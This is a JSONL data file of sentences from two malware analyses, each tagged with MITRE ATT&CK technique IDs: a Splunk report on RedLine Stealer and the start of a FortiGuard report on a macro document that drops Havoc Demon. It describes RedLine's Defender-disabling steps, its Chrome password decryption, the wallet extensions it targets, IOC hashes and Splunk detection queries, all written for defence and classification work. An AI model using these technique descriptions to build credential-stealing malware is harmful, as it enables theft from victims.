{"sentence": "Since it was released, threat actors and adversaries have leveraged RedLine Stealer because of its availability and flexibility for stealing credentials that can cause financial loss and data leakage.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "In 2020, there was a RedLine campaign that targeted both enterprise and personal devices.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Many industries received these malicious campaigns, but the most impacted was the Healthcare and manufacturing sectors.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Recently this year (May 10, 2023), there was a RedLine campaign found by stormshield that used a malicious chrome extension that will download several malware like Smoke Loader and Amadey Trojan.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Amadey malware is a botnet that is being used now to distribute RedLine malware to steal data such as browser credentials, crypto wallets and even credit card information.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "This malicious software has been in the top malware sample shared for months on anyrun statistics reports as well as in Malware bazaar.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "In this blog post, the Splunk Threat Research Team provides a deep dive analysis of this threat and valuable insights to enable blue teamers to defend and detect this malware variant.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Blog details include: Analysis of the phishing URLs The RedLine Loader The RedLine Stealer Capabilities Splunk Security Content Spear Phish Link Data The operators behind RedLine Stealer use several techniques to gain initial access to their victims.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "One common initial access technique that this Trojan Stealer uses is a phishing URL link.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "To gain more insight on how this malware executes its campaign, the Splunk Threat Research Team (STRT) collected 90 days of URL data from URLhaus and used Jupyter Notebooks to analyze the dataset to identify trends of the RedLine URL links.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Figure 1 shows the list of URLs from the data related to RedLine Stealer.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Based on URL tags, we can see that this Trojan is also bundled, downloaded or dropped by other malware like Amadey or SmokeLoader.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Figure 1 Using the URLhaus dataset, we can also learn that RedLine Stealer abuses several known legitimate file/code sharing and collaboration platforms for its campaigns.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Figure 2 shows the top 20 domains that RedLine Stealer used to host its malware.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Based on the list below, the most commonly abused legitimate file sharing domains are GitHub, Dropbox, Discord, Bitbucket, OneDrive and Google Drive.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "The use of these legitimate platforms allows threat actors or adversaries to evade detections or to blend in its C2 communication with other normal network traffic so security solutions will not raise any red flags or detection alerts.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Figure 2 In the following section, we explore a recent RedLine Loader used, the defense evasion technique and RedLine Stealer capabilities.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Self Extractor Loader The Splunk Threat Research Team found an interesting RedLine Stealer Loader that was compiled as Win32 Cabinet self extractor executable (wextract) (1) (2).", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "This self-extracting archive is a type of compressed file that contains multiple files and can be executed as a program.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "When a user runs a self-extracting archive, the contents of the archive are extracted to a specified location on the system.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Figure 3 shows a simple flow diagram of how RedLine Stealer uses a loader in the form of a self-extracting archive (.exe) to initiate its infection.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "This loader then executes two more self-extracting archive executables that are responsible for decrypting a shellcode to load the Amadey Trojan and two instances of the RedLine Stealer malware onto the system.", "labels": ["T1140"], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Additionally, the loader also executes a .NET executable that is responsible for defense evasion.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Figure 3 (For a larger resolution of this diagram visit this link) Defense Evasion Component As described in Figure 3, the Redline Loader will also load an executable named it532878.exe, which is a .NET executable that is responsible for defense evasion.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Figure 4 shows the code snippet of this RedLine component that will do the following: Escalate its privilege as administrator or trustedinstaller Try to disable Windows Defender service “WinDefend” Try to disable Tamper Protection settings of Windows Defender.", "labels": ["T1562.001"], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Try to Disable AntiSpyware, Real Time Protection and notification of Windows Defender.", "labels": ["T1562.001"], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Disable Windows update services such as (“wuauserv”, “WaaSMedicSvc”, “UsoSvc”)", "labels": ["T1562.001"], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Disable Automatic Update and change Windows configurations related to Windows Update Figure 4 RedLine Stealer Deep Dive C2 Connection Check RedLine Stealer is designed to be stealthy and avoid detection by security software.", "labels": ["T1562.001"], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Therefore, it typically starts by decrypting its initial configuration data, which is often encoded or encrypted to prevent detection.", "labels": ["T1027", "T1140"], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "It starts its code by decrypting its initial configuration that the malware needs to connect to its Command and Control (C2) server and receive instructions on how to operate.", "labels": ["T1140"], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "This includes the domain or IP address of the C2 server, as well as the connection IDs and keys that are used to establish a secure connection.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Figure 5 shows the code of the decryption algorithm used by RedLine Stealer to decrypt its initial configuration data which is a combination of Base64 and XOR functions.", "labels": ["T1027", "T1140"], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Figure 5 Once the initial configuration data has been decrypted, it will constantly check its bind connection to its C2 server to download further command arguments or other configuration settings that will dictate what functionality will be enabled for its malicious client file.", "labels": ["T1140"], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Figure 6 shows the code of RedLine that consistently checks the connection of its client malware to the C2 server.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "If the connection fails, It will break and throw an exception.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "If the C2 server is already down or offline during analysis, this piece of code can be considered an anti-sandbox technique because RedLine will not continue its execution.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Figure 6 After establishing a connection to its C2, it will fetch another configuration setting data from its C2 server that will fill the ScanningArg() class, which is a data structure of boolean variables that will serve as a switch to RedLine functionality.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Figure 7 shows the snippet of ScanningArg() class data member of RedLine which accepts either ON or OFF (True or False) values to enable the chosen RedLine settings or functions.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Figure 7 RedLine Capabilities RedLine Stealer has several features that will be executed depending on the configuration setting it downloaded from its C2 to steal information from the compromised or targeted host.", "labels": ["T1005"], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Figure 8 is the screenshot showing several function capabilities of RedLine that we renamed during our analysis.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Figure 8 Gather System Information As stated earlier, RedLine Stealer has the ability to collect or extract various types of system information from a targeted or compromised computer.", "labels": ["T1082"], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "The information that this malware can retrieve may be sensitive and can potentially compromise the security and privacy of the affected system.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "To provide a more detailed explanation, the table summary below shows each of the functions of the RedLine Stealer malware and describes the specific information that each function attempts to gather.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Function name (renamed) Description func_GetHostSerialNumber() Retrieve the user domain name, username and host serial number (without “-”) and convert it into a MD5 hash func_GetExecutingAssembly() Get the full file path of its running malware sample func_GetLanguageTimeZoneOsVersion() Retrieves system default language, timezone and OS version func_GetUserName() Get the user name of the compromised host func_GetProcessor() Get processor information of the compromised host by executing \"SELECT * FROM Win32_Processor\" func_GetGraphicCards() Get AdapterRAM and Graphic Card Name and type by executing \"root\\\\CIMV2\", \"SELECT *", "labels": ["T1033", "T1082"], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "FROM Win32_VideoController\" func_GetBrowsers() Parse browser application and browser version installed in the compromised host by querying \"SOFTWARE\\WOW6432Node\\Clients\\StartMenuInternet\" or \"SOFTWARE\\Clients\\StartMenuInternet\" registry func_GetTotalRAM() Get the total RAM size of compromised host by executing \"SELECT * FROM Win32_OperatingSystem\" and look for \"TotalVisibleMemorySize\" func_ListPrograms() Parse all installed application in the compromised host by querying 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall' registry func_GetFirewalls() Parse firewall and Anti Virus Product install in the compromised host by running \"SELECT * FROM ROOT\\\\SecurityCenter2\" \"SELECT * FROM ROOT\\\\SecurityCenter\" \"SELECT *", "labels": ["T1012", "T1082", "T1518.001"], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "FROM AntivirusProduct\" \"SELECT *", "labels": ["T1518.001"], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "FROM FirewallProduct\" \"SELECT * FROM AntiSpyWareProduct\" func_ListProcesses() Retrieve process list and process information by running 'SELECT *", "labels": ["T1057", "T1518.001"], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "FROM Win32_Process' func_AvailableLanguage() Get the install input language Screen Capture Based on one of the RedLine samples we analyzed, we saw that it has a functionality to capture a screenshot of the targeted or compromised host as part of its data collection and exfiltration.", "labels": ["T1057", "T1113"], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "In Figure 9 above, the function we’ve renamed as func_ScanScreen() is the one responsible for this screen capture capability.", "labels": ["T1113"], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "RedLine uses .NET", "labels": ["T1106", "T1113"], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Graphics class CopyFromScreen", "labels": ["T1106", "T1113"], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Function() to transfer a bit block of color data from the screen to the Graphic drawing surface that will be saved in memory stream for data exfiltration.", "labels": ["T1106", "T1113"], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Figure 9 Cracking Browser Password One of the powerful capabilities of this Trojan Stealer is cracking browser sensitive information like passwords, cookies, autofill and credit card information saved within the browser application.", "labels": ["T1110"], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Figure 10 shows a simple diagram of how RedLine Stealer was able to decrypt the password saved in the chrome browser.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "It starts by locating and copying two specific file of Chrome profiles namely as “%userprofile%\\Appdata\\Local\\Google\\Chrome\\User data\\Local State” and “%userprofile%\\Appdata\\Local\\Google\\Chrome\\User data\\Default\\Login Data” in the%temp% folder.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Afterward it will read the copied “Local State” file to grab the encoded and encrypted master key to decrypt the password stored in the “Login Data”.", "labels": ["T1027", "T1140"], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "The master key is encoded with Base64 and encrypted using Windows CryptProtectData() API.", "labels": ["T1027", "T1106", "T1140"], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Once the master key is decrypted, it will parse the AES IV (Initialization vector) and the encrypted password in the copied “Login Data” database file to decrypt it using AES GCM algorithm.", "labels": ["T1027", "T1140"], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "The decrypted password will be sent to its C2 Server as part of its data exfiltration.", "labels": ["T1041", "T1140"], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Figure 10 Looking For Browser Extensions", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "This malware can also steal wallet files by scanning Chrome wallet browser extensions.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Figure 11 shows the RedLine Stealer code and how it enumerates several known Crypto Wallet directories and looks for files related to crypto currencies by looking for files having “wallet” substring on its file name.", "labels": ["T1083"], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Figure 11 The table below shows some of the targeted Chrome browser extensions that RedLine Stealer tries to parse to look for Crypto Wallets.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "These extensions are popular among cryptocurrency users and are used to manage and store their cryptocurrency wallets' sensitive information.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Chrome Browser Extension Identification Chrome Extension ibnejdfjmmkpcnlpebklmnkoeoihofec Tronlink jbdaocneiiinmjbjlgalhcelgbejmnid NiftyWallet nkbihfbeogaeaoehlefnkodbefgpgknn Metamask afbcbjpbpfadlkmhmclhkeeodmamcflc MathWallet hnfanknocfeofbddgcijnmhnfnkdnaad Coinbase fhbohimaelbohpjbbldcngcnapndodjp BinanceChain odbfpeeihdkbihmopkbjmoonfanlbfcl BraveWallet hpglfhgfnhbgpjdenjgmdgoeiappafln GuardaWallet blnieiiffboillknjnepogjhkgnoapac EqualWallet cjelfplplebdjjenllpjcblmjkfcffne JaxxxLiberty fihkakfobkmkjojpchpfgcmhfjnmnfpi BitAppWallet kncchdigobghenbbaddojjnnaogfppfj iWallet amkmjjmmflddogmhpjloimipbofnfjih Wombat ffnbelfdoeiohenkjibnmadjiehjhajb YoroiWallet fhilaheimglignddkjgofkcbgekhenbh AtomicWallet nlbmnnijcnlegkjjpcfjclmcfggfefdm MewCx nanjmdknhkinifnkgdcggcfnhdaammmj GuildWallet nkddgncdjgjfcddamfgcmfnlhccnimig SaturnWallet fnjhmkhhmkbjkkabndcnnogagogbneec RoninWallet RedLine Stealer can also retrieve information related to the following: VPN (Nord, OpenVPN, ProtonVPN) profiles FileZilla credentials Discord, Telegram and Steam Token Information IOCs Hash (SHA256)", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Description 5112ff1b75d9c33d10efafcbacdb4e2116280c1f5f3e6b6a64b44279997d96ee Redline stealer 8f45a89978ea72a7c3304c93cc56ac18087663ae33daa9f30f919652ba961175 loader eb8a15b1a42127970e7facc6133131dcc073a201419d8cc88c3c316819d1c2a2 Redline stealer afc48eabd725325d00324625eb9035c450d730c0b07d4d5a7246cbb1a3a443eb lr657198.exe 2a4193dcb95c7307e0a4f5586446c1c4adad17733a102a40d0b9227649191ff9 zifq8846.exe 5f9eff953d7ca49f594a864517dfdf37950a41693e53b79aa3a5c396613031bc kp356066.exe 52a52e958a0fef6aa14f27083f2d8675a20c2148be6456cacbda149411719b92 zigT1406.exe 850cd190aaeebcf1505674d97f51756f325e650320eaf76785d954223a9bee38 it532878.exe 5e82fc65d9dafc6da041e732597719aa9872bc82d8ff52c272277a1a49b8c9aa jr663319.exe Detections The Splunk Threat Research Team has curated relevant detections and tagged them to the RedLine Stealer Analytic Story to help security analysts detect adversaries leveraging the RedLine malware.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "For this release, we used and considered the relevant data endpoint telemetry sources such as: Process Execution & Command Line Logging Windows Security Event ID 4663, Sysmon, or any Common Information Model compliant EDR technology Windows Security Event Log Windows System Event Log Windows PowerShell Script Block Logging", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "We maximized the usage of Windows Security EventCode 4663 for this analytic story.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "An event that is logged whenever an attempt is made to access an object (such as files, registry or directories) in the Windows file system.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "This EventCode can be helpful to monitor suspicious processes accessing critical files or folders like browser databases for credential dumping and data collection.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "As an example, we used this event to develop the analytic “Windows Query Registry UnInstall Program List'' that monitors suspicious processes accessing “uninstall registry”.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "This registry is being abused by several malware and APT to list all installed applications in the compromised or targeted host.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "`wineventlog_security` EventCode=4663 object_file_path=\"\\\\REGISTRY\\\\MACHINE\\\\SOFTWARE\\\\WOW6432Node\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall\\\\*\" | stats count min(_time) as firstTime max(_time) as lastTime by object_file_name object_file_path process_name", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "process_path process_id EventCode dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` Figure 12 Another analytic “Windows Credentials from Password Stores Chrome Login Data Access” detects suspicious non-Chrome processes accessing the “Login Data” database file of Chrome.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Figure 13 shows how this analytic detects the simulated behavior of RedLine Stealer, in Python script, in cracking browser sensitive information.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "`wineventlog_security` EventCode=4663 object_file_path=\"*\\\\AppData\\\\Local\\\\Google\\\\Chrome\\\\User Data\\\\Default\\\\Login Data\" AND NOT (process_path IN (\"*:\\\\Windows\\\\explorer.exe\", \"*:\\\\Windows\\\\System32\\\\dllhost.exe\", \"*\\\\chrome.exe\"))", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "| stats count min(_time) as firstTime max(_time) as lastTime by object_file_name object_file_path process_name", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "process_path process_id EventCode dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` Figure 13 Overall, the RedLine Stealer analytic story introduces 25 detections across MITRE ATT&CK techniques.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Automated Playbooks All of the detections associated with this analytic story create entries in the Splunk Enterprise Security risk index by default and can be used seamlessly with risk notables and the Risk Notable Playbook Pack.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Additionally, the Automated Enrichment playbook pack would also work well with the output of any of these analytics.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Playbook Description Automated Enrichment Moves the event status to open and then launches the Dispatch playbooks for Reputation Analysis, Attribute Lookup, and Related Tickets.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Identifier Reputation Analysis Dispatch Detects available indicators and routes them to indicator reputation analysis playbooks.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "The output of the analysis will update any artifacts, tasks, and indicator tags.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Attribute Lookup Dispatch Detects available entities and routes them to attribute lookup playbooks.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "The output of the playbooks will create new artifacts for any technologies that return information.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Related Ticket Search Dispatch Detects available indicators and routes them to dispatch related ticket search playbooks.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Why Should You Care?", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "This blog enables security analysts, blue teamers and Splunk customers to identify RedLine Stealer malware by helping the community discover RedLine Stealer tactics, techniques and procedures that are being used by several threat actors and adversaries (APT).", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "By understanding its behaviors, we were able to generate telemetry and datasets to develop and test Splunk detections designed to defend and respond against this threat.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Cyber defenders need to design and deploy effective monitoring capabilities that allow them to detect and respond to RedLine Stealer malware attacks.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Learn More You can find the latest content about security analytic stories on GitHub and in Splunkbase.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Splunk Security Essentials also has all these detections available via push update.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "For a full list of security content, check out the release notes on Splunk Docs.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Feedback Any feedback or requests?", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Feel free to put in an issue on GitHub and we’ll follow up.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Alternatively, join us on the Slack channel #security-research.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Follow these instructions if you need an invitation to our Splunk user groups on Slack.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Contributors We would like to thank Teoderick Contreras for authoring this post and the entire Splunk Threat Research Team for their contributions: Michael Haag, Mauricio Velazco, Lou Stella, Bhavin Patel, Rod Soto, Eric McGinnis, and Patrick Bareiss.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Affected platforms: Microsoft WindowsImpacted parties: Targeted Windows usersImpact: Compromised machines are under the control of the threat actorSeverity level: Medium As part of our ongoing research on malware being used in the Russian-Ukrainian conflict, FortiGuard Labs has encountered a malicious spoofed document pretending to be from the Ukrainian company, Energoatom, a state-owned enterprise that operates Ukraine’s nuclear power plants.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Since the war with Russia began, Ukraine’s energy sector has been under constant cyberattack.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "For example, in April 2022, an attack deploying INDUSTROYER2 and CADDYWIPER wiper malware targeted energy companies.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "On 16 August 2022, the Energoatom corporate website was the target of a DDoS attack.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "And in October 2022, yet another wiper attack, this one using the wiper dubbed NikoWiper, targeted the energy sector.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Aside from highlighting the technical details of this latest multi-staged attack, which includes several evasion techniques, this article also discusses some strange artifacts that make us think this could be a work-in-progress or part of a red-team exercise.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Document Analysis The macro-enabled document is named “zatverdzhenniy_spisok_osib_na_otrim”, which roughly translates to “approved list of persons to receive” in Ukrainian.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "It arrives inside an ISO image archive bearing the same filename.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "It was first submitted to VirusTotal in mid-March of this year.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "When opened, it displays an image instructing the user to enable Word’s macro code execution to reveal information supposedly protected by M.E. Doc (My Electronic Document).", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "This popular Ukrainian document management system is used to exchange important and sensitive documents with organizations (including regulatory authorities) in electronic form.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Blurred content with the logo for Energoatom is displayed behind the instruction, making it appear to be protecting important information (Figure 1).", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "In reality, it’s just an ordinary image placed on the top layer of the document.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Dragging it to the side reveals the supposedly protected information underneath.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Figure 1: Fake document Once the macro is enabled, the image disappears, creating the impression that the critical information has somehow been revealed.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "The document contains an announcement about a list of people supposedly approved to receive protective equipment (Figure 2).", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Figure 2: Fake document after macro execution VBA Code Analysis To complicate analysis and attempt to evade detection, the macro’s VBA code employs a few interesting techniques.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "The Word application crashes when trying to view or debug the VBA code in the document.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Similarly, when the document composition is analyzed using oletools (a package of python tools used to analyze Microsoft OLE2 files), the tool produces several errors, including stream files that have been defined but are not present within the archive.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "The tool also reports an error about an incorrect signature when attempting to decompress a specific stream inside the file.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "We have not confirmed if either of these anomalies directly led to the crash above.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Nevertheless, oletools eventually extracted the complete malicious VBA macro code intended to be executed by the document.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "In a likely attempt to make the location of the macro code less obvious, the VBA Project binary file that contains the actual VBA code is redirected to the file “EbDYTPZ.vEypm” instead of the default “vbaProject.bin”.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "This association is detailed in “word\\_rels\\ document.xml.rels” of the Office Open XML archive with the following line: “<Relationship Id=\"rId1\" Type=\"http://schemas.microsoft.com/office/2006/relationships/vbaProject\" Target=\"EbDYTPZ.vEypm\"/>” As usual, the VBA code is set to execute when the document is opened via AutoOpen and Document_Open events.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "As mentioned, the macro begins by deleting the overlay image, which is internally a Shape object with the Name attribute “happy”.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "To find this image, it iterates through all the Shape objects in the document and deletes the one with the same name.", "labels": ["T1027"], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "To hide the strings it uses during its execution, it primarily uses a simple encoding by subtracting 35 from each character of the original string and encoding the result with Base64.", "labels": ["T1027"], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "In addition, it uses other operations, such as string reverse and character splitting, prior to decoding.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "As an anti-debugging technique, execution of the primary infection routine uses the Application.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "OnTime function commonly used to schedule the execution of a specific VBA procedure instead of directly calling it.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "In this case, it schedules the immediate execution of the function “ostrategicy”.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "When debugging, this line of code produces the error, “Can’t execute code in break mode”, and then stops executing.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
